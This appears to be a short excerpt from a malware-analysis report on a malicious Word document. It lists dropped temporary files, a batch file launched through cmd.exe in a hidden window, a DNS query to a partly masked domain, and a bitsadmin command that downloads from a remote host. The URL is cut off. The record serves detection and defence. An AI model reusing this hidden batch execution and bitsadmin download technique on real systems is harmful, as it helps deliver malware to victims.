Technical Information
- '<SYSTEM32>\cmd.exe' /c %APPDATA%\1a639aa5.bat
- %APPDATA%\1a639aa5.bat
- nul
- <Current directory>\~wrd0000.tmp
- <Current directory>\~wrd0001.tmp
- <Current directory>\~wrd0000.tmp
- <PATH_SAMPLE>.doc
- DNS ASK ns#.###atpics.website
- '<SYSTEM32>\cmd.exe' /c %APPDATA%\1a639aa5.bat' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer backup /download /priority high http://ns#.###atpics.website/microsoft.com/palestinian_children_are_killed_everyday_by_israel_attacks/usa_drones_majority_killed_are_civilians/f5bb03/6...